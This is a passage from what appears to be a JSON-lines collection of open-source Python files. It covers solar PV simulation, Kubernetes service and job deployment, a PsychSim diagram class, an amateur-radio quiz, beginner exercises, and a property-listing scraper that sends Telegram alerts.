#okay met pload requirements\n wkDict['PO'] = pload\n elif ArP - wkDict['BD'] - sysLd >= 0:\n wkDict['PO'] = ArP - sysLd\n else:\n msg = 'Insufficient Array + Bank power to sustain System operation'\n msg += '\\n {0:.2f} watts needed but only {1:.2f} watts generated'\n wkDict['Error'] = (msg.format(sysLd, ArP), 'Warning')\n wkDict['PO'] = 0.0 \n if totUsrLd > 0: \n wkDict['PS'] = wkDict['PO']/pload \n if ArP > 0:\n wkDict['DE'] = wkDict['PO'] /ArP \n else:\n # No battery exists or battery can't be discharged further\n if ArP < sysLd and totUsrLd > 0:\n msg = 'Insufficient Array power to sustain System operation'\n msg += '\\n {0:.2f} watts needed but only {1:.2f} watts available' \n wkDict['Error'] = (msg.format(sysLd, ArP), 'Warning')\n vout = min(vout, internal_parm['VmxChg'])\n iout = min(iout, internal_parm['ImxDchg'])\n if internal_parm['cntlType'] == 'MPPT':\n iout = max(iout, internal_parm['ImxDchg'])\n pout = min(ArP, vout*iout, pload)\n if ArP > 0 and totUsrLd > 0:\n wkDict['PO'] = pout\n wkDict['DE'] = wkDict['PO']/ArP\n if ArP > pload and totUsrLd > 0:\n wkDict['PS'] = pout/pload\n\n\n\ndef build_overview_report(mdl):\n \"\"\" Create a formated overview of Project Design data \"\"\"\n s = 'Overview Report for Project {0}'.format( \n mdl.site.read_attrb('proj'))\n s +='\\n\\n\\tDescription: {0}'.format(\n mdl.site.read_attrb('p_desc'))\n s +='\\n\\t\\tClient: {0}\\tCity: {1}\\tCountry: {2}'.format(\n mdl.site.read_attrb('client'),\n mdl.site.read_attrb('city'), \n mdl.site.read_attrb('cntry'))\n s +='\\n\\t\\tLat: {0},\\tLon: {1},\\tElev: {2}'.format(\n mdl.site.read_attrb('lat'),\n mdl.site.read_attrb('lon'), \n mdl.site.read_attrb('elev'))\n elp = mdl.load.get_load_profile()\n sum_elp = sum(elp['Total'])\n if sum_elp > 0:\n s += '\\n\\n\\tUser Load Description\\n'\n pls = '\\nPeak Hourly Load KW: Total= {0:4.2f},\\tAC= {1:4.2f},\\tDC= {2:4.2f}'\n s += pls.format(max(elp['Total'])/1000, max(elp['AC'])/1000, \n max(elp['DC'])/1000)\n if mdl.pnl.is_defined():\n for i in range(len(mdl.array_list)):\n if mdl.array_list[i].is_defined():\n s += '\\nArray {0}\\n'.format(i+1)\n s += '\\t' + str(mdl.array_list[i])\n\n if mdl.bat.is_defined():\n s += '\\n\\n\\t' + str(mdl.bnk)\n \n if mdl.chgc.is_defined():\n s += '\\n\\n\\t' + str(mdl.chgc)\n\n if mdl.inv.is_defined():\n s += '\\n\\n\\t' + str(mdl.inv)\n\n return s\n\n \ndef dataframe_selection_to_dict(df, sel_itm):\n \"\"\" Return a Dict for DF Frame row defined by sel_itm index \"\"\"\n dd = {'Name':sel_itm}\n sdf = df.loc[sel_itm]\n for id in sdf.index.values:\n dd[id] = sdf[id]\n return dd\n \ndef process_inverters_csv(drcty):\n \"\"\" Separate out MFG from model and append these columns to base data \n frame \"\"\" \n dp = os.path.join(os.getcwd(), drcty)\n fp = os.path.join(dp, 'CEC Inverters.csv')\n df = pd.read_csv(fp, index_col=0, skiprows=[1,2])\n names = list(df.index.values)\n mfgs = list()\n models = list()\n for nm in names:\n k = nm.split(\":\")\n mfgs.append(k[0].strip())\n models.append(k[1].strip())\n df['Manufacturer'] = pd.Series(np.array(mfgs), index=df.index)\n df['Model'] = pd.Series(np.array(models), index=df.index)\n return df\n \ndef locate_mfg_split(val):\n \"\"\"Identify the split between Module Manufaturer and Model Number\n The CEC data is not clearly deliniated between Model Number & Mfg,\n so do the best you can. The rest is up to the user to sort out,\n when selecting a product.\n \"\"\"\n schvals = [ 'REC Solar ', 'Photronic ', 'Science & Technology ', ') ', 'USA ', 'Holdings ', \n 'Holding ', 'Frontier ', ' Liberty ', 'Industries ', 'Hong Kong ', \n 'Q CELLS ', 'Q-Cells', 'nologies ', 'Semiconductor ', 'Wind ','CO ', 'Singapore ', \n 'o. ', 'ogy ', 'ies ', 'ade ', 'ble ','ms ', 'nal ','ing ',\n 'rgy ', 'Ontario ', 'Korea ', 'are ', 'Universal ', 'nt ', \n 'da ', 'wer ', 'da ', 'eed ', 'le ', 'ry ', 'ica ','rik ',\n 'ue ', 'cis ', 'ech ', 'ics ', 'EC ', 'Solar ', 'ar ', 'oy ', \n 'ek ', 'BIPV ', 'den ', 'enn ', 'any ', 'tts ', 'nal ', 'eed', \n 'sis ', 'psun ', 'ght ', 'ASOL ', 'SEG PV ', 'son ', 'rray ', 'iva ',\n 'Inc. ', 'eme ', 'evo ', 'fab ', 'ray ', 'ity ', 'orld ', 'bine ',\n 'nnel ', 'ria ', 'max ', 'ace ', 'tec ', 'iosun ', 'gees ', 'llo ', 'ion ',\n 'gsu ', 'tric ', 'com ', 'umos ', 'uxco ', 'voltaic ', 'ICOR ', 'Sun ', 'iene ',\n 'fersa ', 'oton ', 'SPV ', 'eka ', 'Won ', 'eta ', 'MAR ', 'nix ', 'ital ', 'arp ',\n 'ick ', 'SDI ', 'oup ', 'BHD ', 'att ', 'olt ', ' '\n ]\n while True:\n for sc in schvals:\n if val.find(sc) > 0:\n found = True\n return val.find(sc) + len(sc)\n print ('No Match for', val)\n return -1\n\n \ndef process_modules_csv(drcty):\n \"\"\" Separate out MFG from model and append these columns to base data \n frame \"\"\"\n dp = os.path.join(os.getcwd(), drcty)\n fp = os.path.join(dp, 'CEC Modules.csv')\n df = pd.read_csv(fp, index_col=0, skiprows=[1,2])\n names = list(df.index.values)\n mfgs = list()\n models = list()\n for nm in names:\n ptr = locate_mfg_split(nm)\n if ptr > 0:\n mfgs.append(nm[0:ptr].strip())\n models.append(nm[ptr:].strip())\n else:\n mfgs.append(nm)\n models.append(nm)\n df['Manufacturer'] = pd.Series(np.array(mfgs), index=df.index)\n df['Model'] = pd.Series(np.array(models), index=df.index)\n return df \n\ndef import_new_resource(file_type ):\n dpo = os.path.join(os.getcwd(), 'Resources')\n dpi = os.path.join(os.getcwd(), 'Raw-Input')\n if file_type == 'Modules':\n df = process_modules_csv(dpi)\n df.to_csv(os.path.join(dpo, 'CEC Modules.csv'))\n else: \n df = process_inverters_csv(dpi)\n df.to_csv(os.path.join(dpo, 'CEC Inverters.csv'))\n \n \ndef main():\n pass\n\nif __name__ == '__main__':\n main() \n\n", "source": "itprorh66/SolarPV-Simulator", "license": "MIT"} {"text": "import os\nimport time\nfrom datetime import datetime, timezone\nfrom typing import Any, List, Literal, Optional\n\nfrom kubernetes import client as kube_client\nfrom kubernetes import config as kube_config\nfrom kubernetes.client.models import (\n V1Deployment,\n V1DeploymentList,\n V1Job,\n V1JobList,\n V1JobSpec,\n V1ServiceList,\n V1Status,\n)\nfrom kubernetes.client.rest import ApiException\nfrom loguru import logger\n\nfrom contaxy.config import settings\nfrom contaxy.managers.deployment.kube_utils import (\n build_deployment_metadata,\n build_kube_deployment_config,\n build_kube_service_config,\n build_pod_template_spec,\n build_project_network_policy_spec,\n check_or_create_project_network_policy,\n create_pvc,\n create_service,\n get_deployment_selection_labels,\n get_label_selector,\n get_pod,\n map_kube_job,\n map_kube_service,\n wait_for_deletion,\n wait_for_deployment,\n wait_for_job,\n)\nfrom contaxy.managers.deployment.utils import (\n DEFAULT_DEPLOYMENT_ACTION_ID,\n NO_LOGS_MESSAGE,\n Labels,\n get_deployment_id,\n split_image_name_and_tag,\n)\nfrom contaxy.operations import AuthOperations, DeploymentOperations, SystemOperations\nfrom contaxy.operations.components import ComponentOperations\nfrom contaxy.schema import Job, JobInput, ResourceAction, Service, ServiceInput\nfrom contaxy.schema.deployment import DeploymentType, ServiceUpdate\nfrom contaxy.schema.exceptions import (\n ClientBaseError,\n ClientValueError,\n ResourceNotFoundError,\n ServerBaseError,\n)\nfrom contaxy.utils.auth_utils import parse_userid_from_resource_name\n\n\nclass KubernetesDeploymentManager(DeploymentOperations):\n def __init__(\n self,\n component_manager: ComponentOperations,\n kube_namespace: str = None,\n ):\n \"\"\"Initializes the Kubernetes Deployment Manager.\n\n Args:\n component_manager: Instance of the component manager that grants access to the other managers.\n kube_namespace (str): Set the Kubernetes namespace to use. If it is not given, the manager will try to detect the namespace automatically.\n \"\"\"\n self._global_state = component_manager.global_state\n self._request_state = component_manager.request_state\n self._component_manager = component_manager\n\n try:\n # incluster config is the config given by a service account and it's role permissions\n kube_config.load_incluster_config()\n except kube_config.ConfigException:\n kube_config.load_kube_config(context=os.getenv(\"CTXY_K8S_CONTEXT\", None))\n\n self.core_api = kube_client.CoreV1Api()\n self.apps_api = kube_client.AppsV1Api()\n self.batch_api = kube_client.BatchV1Api()\n self.networking_api = kube_client.NetworkingV1Api()\n\n if kube_namespace is None:\n try:\n # at this path the namespace the container is in is stored in Kubernetes deployment (see https://stackoverflow.com/questions/31557932/how-to-get-the-namespace-from-inside-a-pod-in-openshift)\n with open(\n \"/var/run/secrets/kubernetes.io/serviceaccount/namespace\", \"r\"\n ) as namespace_file:\n self.kube_namespace = namespace_file.read()\n except FileNotFoundError:\n # TODO: fix arguments\n raise ServerBaseError(\"Could not detect the Kubernetes Namespace\")\n else:\n self.kube_namespace = kube_namespace\n # TODO: when we have performance problems in the future, replicate the watch logic from JupyterHub KubeSpawner to keep Pod & other resource information in memory? (see https://github.com/jupyterhub/kubespawner/blob/941585f0f7acb0f366c9979b6274b7f47356a630/kubespawner/reflector.py#L238)\n\n @property\n def _system_manager(self) -> SystemOperations:\n return self._component_manager.get_system_manager()\n\n @property\n def _auth_manager(self) -> AuthOperations:\n return self._component_manager.get_auth_manager()\n\n def list_services(\n self,\n project_id: str,\n deployment_type: Literal[\n DeploymentType.SERVICE, DeploymentType.EXTENSION\n ] = DeploymentType.SERVICE,\n ) -> List[Service]:\n label_selector = get_deployment_selection_labels(\n project_id=project_id, deployment_type=deployment_type\n )\n\n try:\n deployments: V1DeploymentList = self.apps_api.list_namespaced_deployment(\n namespace=self.kube_namespace, label_selector=label_selector\n )\n return [map_kube_service(deployment) for deployment in deployments.items]\n except ApiException:\n return []\n\n def deploy_service(\n self,\n project_id: str,\n service: ServiceInput,\n action_id: Optional[str] = None,\n deployment_type: Literal[\n DeploymentType.SERVICE, DeploymentType.EXTENSION\n ] = DeploymentType.SERVICE,\n wait: bool = False,\n ) -> Service:\n image_name, image_tag = split_image_name_and_tag(service.container_image)\n self._system_manager.check_allowed_image(image_name, image_tag)\n if service.display_name is None:\n raise ClientValueError(\n message=f\"Could not create a service id for service with display name {service.display_name}\",\n explanation=\"A display name for the service must be provided.\",\n )\n\n service_id = get_deployment_id(\n project_id=project_id,\n deployment_name=service.display_name,\n deployment_type=deployment_type,\n )\n\n kube_service_config = build_kube_service_config(\n service_id=service_id,\n service=service,\n project_id=project_id,\n kube_namespace=self.kube_namespace,\n )\n kube_deployment_config, kube_deployment_pvc = build_kube_deployment_config(\n service_id=service_id,\n service=service,\n project_id=project_id,\n kube_namespace=self.kube_namespace,\n auth_manager=self._auth_manager,\n user_id=parse_userid_from_resource_name(\n self._request_state.authorized_subject\n ),\n )\n\n check_or_create_project_network_policy(\n network_policy=build_project_network_policy_spec(\n project_id=project_id, kube_namespace=self.kube_namespace\n ),\n networking_api=self.networking_api,\n )\n\n create_pvc(\n pvc=kube_deployment_pvc,\n kube_namespace=self.kube_namespace,\n core_api=self.core_api,\n )\n create_service(\n service_config=kube_service_config,\n kube_namespace=self.kube_namespace,\n core_api=self.core_api,\n )\n\n try:\n deployment: V1Deployment = self.apps_api.create_namespaced_deployment(\n namespace=self.kube_namespace, body=kube_deployment_config\n )\n\n if wait:\n wait_for_deployment(\n deployment_name=deployment.metadata.name,\n kube_namespace=self.kube_namespace,\n apps_api=self.apps_api,\n )\n\n except (ApiException, Exception) as e:\n # Delete service again as the belonging deployment could not be created, but only when status code is not 409 as 409 indicates that the deployment already exists\n if not hasattr(e, \"status\") or e.status != 409: # type: ignore\n try:\n self.core_api.delete_namespaced_service(\n namespace=self.kube_namespace, name=service_id\n )\n except ApiException:\n pass\n\n # TODO: delete pvc here\n\n raise ClientBaseError(\n status_code=500,\n message=f\"Could not create namespaced deployment '{service.display_name}' with reason: {e}\",\n )\n\n try:\n transformed_service = map_kube_service(deployment)\n except Exception as e:\n # Delete already created resources upon an error\n try:\n self.core_api.delete_namespaced_service(\n namespace=self.kube_namespace, name=service_id\n )\n except ApiException:\n pass\n\n try:\n self.apps_api.delete_namespaced_deployment(\n namespace=self.kube_namespace, name=service_id\n )\n except ApiException:\n pass\n\n # TODO: delete pvc here\n\n raise ServerBaseError(\n f\"Could not transform deployment '{service.display_name}' with reason: {e}\"\n )\n\n return transformed_service\n\n def update_service(\n self, project_id: str, service_id: str, service: ServiceUpdate\n ) -> Service:\n # Service update is only implemented on DeploymentManagerWithDB wrapper\n raise NotImplementedError()\n\n def list_deploy_service_actions(\n self, project_id: str, service: ServiceInput\n ) -> List[ResourceAction]:\n # TODO: make some cluster checks?\n return [\n ResourceAction(\n action_id=DEFAULT_DEPLOYMENT_ACTION_ID,\n display_name=DEFAULT_DEPLOYMENT_ACTION_ID,\n )\n ]\n\n def get_service_metadata(self, project_id: str, service_id: str) -> Service:\n try:\n deployment: V1Deployment = self.apps_api.read_namespaced_deployment(\n name=service_id, namespace=self.kube_namespace\n )\n\n # Make sure that the service belongs to the same contaxy namespace as the core-backend. Also, double check that this service really belongs to the project (even though the serviceId should be unique)\n if (\n deployment.metadata.labels[Labels.NAMESPACE.value]\n != settings.SYSTEM_NAMESPACE\n or deployment.metadata.labels[Labels.PROJECT_NAME.value] != project_id\n ):\n raise ResourceNotFoundError(\n f\"Could not get metadata of service '{service_id}' for project {project_id}.\"\n )\n\n return map_kube_service(deployment)\n except ApiException:\n raise ResourceNotFoundError(\n f\"Could not get metadata of service '{service_id}' for project {project_id}.\"\n )\n\n def delete_service(\n self,\n project_id: str,\n service_id: str,\n delete_volumes: bool = False,\n retries: int = 0,\n ) -> None:\n\n try:\n status: V1Status = self.core_api.delete_namespaced_service(\n name=service_id,\n namespace=self.kube_namespace,\n propagation_policy=\"Foreground\",\n )\n if status.status == \"Failure\":\n raise ServerBaseError(\n f\"Could not delete Kubernetes service for service-id {service_id}\"\n )\n\n status = self.apps_api.delete_namespaced_deployment(\n name=service_id,\n namespace=self.kube_namespace,\n propagation_policy=\"Foreground\",\n )\n if status.status == \"Failure\":\n raise ServerBaseError(\n f\"Could not delete Kubernetes deployment for service-id {service_id}\"\n )\n\n if delete_volumes:\n status = self.core_api.delete_namespaced_persistent_volume_claim(\n namespace=self.kube_namespace, name=service_id\n )\n if status.status == \"Failure\":\n # TODO: if we work with a queue system, then add it to a deletion queue\n # log(\n # f\"Could not delete Kubernetes Persistent Volume Claim for service-id {service_id}\"\n # )\n raise ServerBaseError(\n f\"Could not delete Kubernetes Persistent Volume Claim for service-id {service_id}\"\n )\n\n # wait some time for the deployment to be deleted\n wait_for_deletion(\n self.apps_api, self.kube_namespace, deployment_id=service_id\n )\n except Exception:\n # TODO: add resources to delete to a queue instead of deleting directly? This would have the advantage that even if an operation failes, it is repeated. Also, if the delete endpoint is called multiple times, it is only added once to the queue\n # if retries < max_retries:\n # try:\n # return self.delete_service(\n # project_id=project_id,\n # service_id=service_id,\n # delete_volumes=delete_volumes,\n # retries=retries + 1,\n # )\n # except Exception:\n # pass\n raise ClientBaseError(\n status_code=500,\n message=f\"Could not delete service '{service_id}'.\",\n )\n\n def delete_services(\n self,\n project_id: str,\n ) -> None:\n label_selector = get_deployment_selection_labels(\n project_id=project_id, deployment_type=DeploymentType.SERVICE\n )\n\n try:\n services: V1ServiceList = self.core_api.list_namespaced_service(\n namespace=self.kube_namespace, label_selector=label_selector\n )\n\n for service in services.items:\n self.core_api.delete_namespaced_service(\n name=service.metadata.name, namespace=self.kube_namespace\n )\n\n status = self.apps_api.delete_collection_namespaced_deployment(\n namespace=self.kube_namespace,\n label_selector=label_selector,\n propagation_policy=\"Foreground\",\n )\n\n if status.status == \"Failure\":\n raise ServerBaseError(\n f\"Could not delete Kubernetes deployments for project '{project_id}'\"\n )\n\n status = self.core_api.delete_collection_namespaced_persistent_volume_claim(\n namespace=self.kube_namespace,\n label_selector=label_selector,\n propagation_policy=\"Foreground\",\n )\n\n if status.status == \"Failure\":\n raise ServerBaseError(\n f\"Could not delete Kubernetes volumes for project '{project_id}'\"\n )\n\n except Exception as e:\n logger.error(f\"Error in Kubernetes->delete_services. Reason: {e}\")\n raise ClientBaseError(\n 500, f\"Could not delete services for project '{project_id}'\"\n )\n\n def get_service_logs(\n self,\n project_id: str,\n service_id: str,\n lines: Optional[int] = None,\n since: Optional[datetime] = None,\n ) -> str:\n try:\n pod = get_pod(\n project_id=project_id,\n service_id=service_id,\n kube_namespace=self.kube_namespace,\n core_api=self.core_api,\n )\n except Exception:\n pod = None\n\n if pod is None:\n raise ResourceNotFoundError(\n f\"Could not find service {service_id} to read logs from.\"\n )\n\n # TODO: remove as this should not be a concern of the get_logs function\n try:\n # Give some time to let the container within the pod start\n start = time.time()\n timeout = 60\n while True:\n if pod.status.phase in [\"Pending\", \"ContainerCreating\"]:\n try:\n pod = get_pod(\n project_id=project_id,\n service_id=service_id,\n kube_namespace=self.kube_namespace,\n core_api=self.core_api,\n )\n time.sleep(1)\n except Exception:\n pass\n else:\n break\n\n if time.time() - start > timeout:\n raise ServerBaseError(\n f\"Could not read logs from service {service_id} due to status error.\"\n )\n\n since_seconds = None\n if since:\n since_seconds = (\n int((datetime.now(timezone.utc) - since).total_seconds()) + 1\n )\n\n try:\n return self.core_api.read_namespaced_pod_log(\n name=pod.metadata.name,\n namespace=self.kube_namespace,\n pretty=\"true\",\n tail_lines=lines if lines else None,\n since_seconds=since_seconds,\n )\n except ApiException:\n raise ServerBaseError(f\"Could not read logs of service {service_id}.\")\n except Exception:\n return NO_LOGS_MESSAGE\n\n def list_jobs(self, project_id: str) -> List[Job]:\n label_selector = get_label_selector(\n [\n (Labels.NAMESPACE.value, settings.SYSTEM_NAMESPACE),\n (Labels.PROJECT_NAME.value, project_id),\n (Labels.DEPLOYMENT_TYPE.value, DeploymentType.JOB.value),\n ]\n )\n\n try:\n jobs: V1JobList = self.batch_api.list_namespaced_job(\n namespace=self.kube_namespace, label_selector=label_selector\n )\n except ApiException:\n return []\n\n return [map_kube_job(job) for job in jobs.items]\n\n def deploy_job(\n self,\n project_id: str,\n job: JobInput,\n action_id: Optional[str] = None,\n wait: bool = False,\n ) -> Job:\n image_name, image_tag = split_image_name_and_tag(job.container_image)\n self._system_manager.check_allowed_image(image_name, image_tag)\n if job.display_name is None:\n raise ClientValueError(\n message=f\"Could not create service id for job {job.display_name}\",\n explanation=\"The display name for a service must be set.\",\n )\n\n deployment_id = get_deployment_id(\n project_id=project_id,\n deployment_name=job.display_name,\n deployment_type=DeploymentType.JOB,\n )\n metadata = build_deployment_metadata(\n kube_namespace=self.kube_namespace,\n project_id=project_id,\n deployment_id=deployment_id,\n display_name=job.display_name.replace(\" \", \"__\"),\n labels=job.metadata,\n compute_resources=job.compute,\n endpoints=job.endpoints,\n deployment_type=DeploymentType.JOB,\n user_id=parse_userid_from_resource_name(\n self._request_state.authorized_subject\n ),\n )\n\n # For debugging purposes, set restart_policy=Never to have access to job logs (see https://kubernetes.io/docs/concepts/workloads/controllers/job/#pod-backoff-failure-policy)\n pod_spec = build_pod_template_spec(\n project_id=project_id,\n service_id=deployment_id,\n service=job,\n metadata=metadata,\n auth_manager=self._auth_manager,\n user_id=parse_userid_from_resource_name(\n self._request_state.authorized_subject\n ),\n )\n pod_spec.spec.restart_policy = \"OnFailure\"\n\n _job = V1Job(metadata=metadata, spec=V1JobSpec(template=pod_spec))\n try:\n deployed_job = self.batch_api.create_namespaced_job(\n namespace=self.kube_namespace, body=_job\n )\n except ApiException:\n raise ClientBaseError(\n status_code=500, message=f\"Could not deploy job '{job.display_name}'.\"\n )\n\n if wait:\n wait_for_job(\n job_name=deployed_job.metadata.name,\n kube_namespace=self.kube_namespace,\n batch_api=self.batch_api,\n )\n\n return map_kube_job(job=deployed_job)\n\n def list_deploy_job_actions(\n self,\n project_id: str,\n job: JobInput,\n ) -> List[ResourceAction]:\n # TODO: make some cluster checks?\n return [\n ResourceAction(\n action_id=DEFAULT_DEPLOYMENT_ACTION_ID,\n display_name=DEFAULT_DEPLOYMENT_ACTION_ID,\n )\n ]\n\n def get_job_metadata(self, project_id: str, job_id: str) -> Job:\n try:\n job: V1Job = self.batch_api.read_namespaced_job(\n name=job_id, namespace=self.kube_namespace\n )\n return map_kube_job(job)\n except ApiException:\n raise ResourceNotFoundError(f\"Could not get metadata of job '{job_id}'.\")\n\n def delete_job(self, project_id: str, job_id: str) -> None:\n try:\n self.batch_api.delete_namespaced_job(\n name=job_id,\n namespace=self.kube_namespace,\n propagation_policy=\"Foreground\",\n )\n\n # wait some time for the job to be deleted\n wait_for_deletion(self.batch_api, self.kube_namespace, job_id)\n except ApiException as e:\n raise ClientBaseError(\n status_code=500,\n message=f\"Could not delete job '{job_id}' with reason: {e}\",\n )\n\n def delete_jobs(\n self,\n project_id: str,\n ) -> None:\n label_selector = get_deployment_selection_labels(\n project_id=project_id, deployment_type=DeploymentType.JOB\n )\n\n try:\n status: V1Status = self.batch_api.delete_collection_namespaced_job(\n namespace=self.kube_namespace,\n label_selector=label_selector,\n propagation_policy=\"Foreground\",\n )\n\n if status.status == \"Failure\":\n raise ServerBaseError(\n f\"Could not delete Kubernetes jobs for project '{project_id}'\"\n )\n except ApiException as e:\n log = f\"Could not delete Kubernetes jobs for project '{project_id}'\"\n logger.error(f\"{log}. Reason: {e}\")\n raise ServerBaseError(log)\n\n def get_job_logs(\n self,\n project_id: str,\n job_id: str,\n lines: Optional[int] = None,\n since: Optional[datetime] = None,\n ) -> str:\n return self.get_service_logs(\n project_id=project_id, service_id=job_id, lines=lines, since=since\n )\n\n def suggest_service_config(\n self, project_id: str, container_image: str\n ) -> ServiceInput:\n raise NotImplementedError()\n\n def list_service_actions(\n self, project_id: str, service_id: str\n ) -> List[ResourceAction]:\n raise NotImplementedError()\n\n def execute_service_action(\n self, project_id: str, service_id: str, action_id: str\n ) -> Any:\n raise NotImplementedError()\n\n def suggest_job_config(self, project_id: str, container_image: str) -> JobInput:\n raise NotImplementedError()\n\n def list_job_actions(self, project_id: str, job_id: str) -> List[ResourceAction]:\n raise NotImplementedError()\n\n def execute_job_action(self, project_id: str, job_id: str, action_id: str) -> Any:\n raise NotImplementedError()\n", "source": "felixridinger/contaxy", "license": "MIT"} {"text": "import random\nfrom xml.dom.minidom import Document,Node\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\n\nclass Diagram:\n \"\"\"\n Information for a diagram view of a L{psychsim.world.World}\n \"\"\"\n def __init__(self,args=None):\n self.x = {}\n self.y = {}\n self.color = {}\n if isinstance(args,Node):\n self.parse(args)\n\n def getX(self,key):\n try:\n return self.x[key]\n except KeyError:\n return None\n\n def getY(self,key):\n try:\n return self.y[key]\n except KeyError:\n return None\n \n def getColor(self,key):\n \"\"\"\n @warning: if no color exists, assigns a random color\n \"\"\"\n if not key in self.color:\n self.color[key] = QColor(random.choice(QColor.colorNames()))\n return self.color[key]\n\n def setColor(self,key,value):\n if not isinstance(value,QColor):\n value = QColor(value)\n self.color[key] = value\n\n def clear(self):\n self.x.clear()\n self.y.clear()\n \n def __xml__(self):\n doc = Document()\n root = doc.createElement('diagram')\n for key,value in self.x.items():\n node = doc.createElement('x')\n node.setAttribute('key',key)\n node.appendChild(doc.createTextNode(str(value)))\n root.appendChild(node)\n for key,value in self.y.items():\n node = doc.createElement('y')\n node.setAttribute('key',key)\n node.appendChild(doc.createTextNode(str(value)))\n root.appendChild(node)\n for key,value in self.color.items():\n node = doc.createElement('color')\n if key:\n node.setAttribute('key',key)\n node.appendChild(doc.createTextNode(str(value.name())))\n root.appendChild(node)\n doc.appendChild(root)\n return doc\n\n def parse(self,root):\n assert root.tagName == 'diagram'\n node = root.firstChild\n while node:\n if node.nodeType == node.ELEMENT_NODE:\n key = str(node.getAttribute('key'))\n if not key:\n key = None\n if node.tagName == 'x':\n self.x[key] = float(node.firstChild.data)\n elif node.tagName == 'y':\n self.y[key] = float(node.firstChild.data)\n elif node.tagName == 'color':\n self.setColor(key,str(node.firstChild.data).strip())\n else:\n raise NameError('Unknown element %s when parsing %s' % \\\n (node.tagName,self.__class__.__name__))\n node = node.nextSibling\n", "source": "pynadath/psychsim", "license": "MIT"} {"text": "import pandas as pd \nfrom random import sample\n\n \n\nclass ham_mcq(object):\n \"\"\"docstring for ham\"\"\"\n def __init__(self):\n \n self.num_questions = 10\n return None\n\n def _read_questions(self):\n \"\"\"\n Load the questions from the file\n \"\"\"\n\n self.ham_df = pd.read_csv('amat_basic_quest_delim.txt',delimiter=';',encoding='latin1')\n \n return None\n\n def _generate_scores_df(self):\n \"\"\"\n Create and initialize a dataframe for keeping track of questions and scores per topic\n \"\"\"\n self.scores_df = self.ham_df['question_id']\n return None\n\n\n def build_questions_df(self):\n \"\"\"\n Ask how many questions in session\n \"\"\"\n print(\"How many questions in session?\")\n num_questions = int(input())\n\n self.questions_df = self.ham_df.sample(n=num_questions)\n return None\n\n def ask_questions(self):\n \"\"\"\n From a dataframe, generates a shuffled dataframe\n From that \n \n \"\"\"\n \n shuffled_df = self.questions_df.sample(n=len(self.questions_df))\n correct = 0\n count = 0\n for index, row in shuffled_df.iterrows():\n print(row['question_id'], row['question_english'])\n \n count += 1\n \n choice_1 = row['correct_answer_english']\n choice_2 = row['incorrect_answer_1_english']\n choice_3 = row['incorrect_answer_2_english']\n choice_4 = row['incorrect_answer_3_english']\n \n choice_list = list(zip([1, 0, 0, 0], [choice_1, choice_2, choice_3, choice_4]))\n \n choices_shuffle = sample(choice_list, len(choice_list))\n \n \n for index, (num, choice) in enumerate(choices_shuffle):\n print(\"{}. {}\".format(index + 1, choice))\n \n \n print(\"Enter your choice: one of 1, 2, 3, or 4. Enter 5 for exit\")\n a = int(input())\n \n\n if a == 5:\n break\n elif choices_shuffle[a-1][0] == 1:\n correct += 1\n print(\"Correct answer! \")\n print()\n else: \n print(\"Incorrect answer :-( \")\n correct_answer = list(filter(lambda x: x[0] == 1, choices_shuffle))[0][1] \n print(\"The correct answer is {}\".format(correct_answer))\n print()\n \n print(\"Quiz done for now\")\n print(\"Got {} question(s) correct from a total of {} question(s)\".format(correct, count))\n return None\n\n\ndef main():\n ham_quiz = ham_mcq()\n\n ham_quiz._read_questions()\n ham_quiz.build_questions_df()\n ham_quiz.ask_questions()\n return None\n\nif __name__ == '__main__':\n main()\n", "source": "vijayshankarv/Amateur-Radio-Quiz-Generator", "license": "MIT"} {"text": "# Exerc\u00edcio 75\n# Desenvolva um programa que leia quatro valores pelo teclado e guarde-os em uma tupla. No final, mostre:\n# A) Quantas vezes apareceu o valor 9.\n# B) Em que posi\u00e7\u00e3o foi digitado o primeiro valor 3.\n# C) Quais foram os N\u00fameros Pares.\nNumPar = 0\nnum1 = int(input(\"Digite um n\u00famero: \"))\nnum2 = int(input((\"Digite outro n\u00famero: \")))\nnum3 = int(input((\"Digite outro n\u00famero: \")))\nnum4 = int(input((\"Digite outro n\u00famero: \")))\nNumeros = (num1, num2, num3, num4)\nprint(f\"Os n\u00fameros digitados foram: {Numeros}\")\nprint(f\"O n\u00famero '9' apareceu {Numeros.count(9)} Vezes\")\nif 3 in Numeros:\n print(f\"O n\u00famero '3' foi digitado pela primeira vez no {Numeros.index(3)+1}\u00ba N\u00famero\")\nelse:\n print(\"O n\u00famero '3' n\u00e3o foi digitado\")\nprint(\"Os n\u00fameros pares digitados foram: \", end='')\nfor numero in Numeros:\n if numero % 2 == 0:\n print(f\"{numero} \", end='')\n\n", "source": "erickeloi/ExerciciosTreino", "license": "MIT"} {"text": "import random\nimport os\n\n#feito no window/ it was made on windows\ncont = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n\ndef l():\n print('=-=-'*15,'=')\n\nfor i in cont:\n print(' \\n', end='')\n for ii in cont:\n print(f'{i}{ii}', end=' ') \n", "source": "jonasht/Python", "license": "MIT"} {"text": "import requests\nimport re\nimport time\nimport credentials\n\n\ndef telegram_bot_sendtext(bot_message):\n send_text = 'https://api.telegram.org/bot' + credentials.bot_token + '/sendMessage?chat_id=' + credentials.bot_chatID + '&parse_mode=Markdown&text=' + bot_message\n requests.get(send_text)\n\n\nurl = 'https://www.immobilienscout24.de/Suche/shape/haus-kaufen?shape' \\\n '=eWpgd0h3bXloQGhgQ2tmRHR4Q3JsQ2Z1QXN1RXZ6QXt5RW57Q3dkR25iQWFdZnJAeHZAcH1BZVB4X0FhY' \\\n '1VudUFraEN4SWdqQml7Qmt0SndyQXVjQXV9UGBdZ3VBdGNBc31CYG5LZ31BamJReW5HfGNOdUFwbkJ8ZEF' \\\n 'ydUVie0NwdUU.&sorting=2&enteredFrom=result_list#/'\nfirsttime = 1\ni = 0\nwhile True:\n print(\"Skript l\u00e4uft schon \" + str(i) + \" Minuten.\")\n headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/39.0.2171.95 Safari/537.36'}\n response = requests.get(url, headers=headers)\n if response.status_code != 200:\n telegram_bot_sendtext(\"Mit dem Skript stimmt was nicht... Response Code: \" + str(response.status_code))\n result = re.findall(r'expose/[\\s:]*(\\d*)', response.text)\n result = list(dict.fromkeys(result))\n result.remove('')\n if firsttime == 1:\n temp = result\n firsttime = 0\n for expose in result:\n if expose not in temp:\n telegram_bot_sendtext(\"WAS NEUES BEI IMMOSCOUT GOOGOGO \" + expose)\n 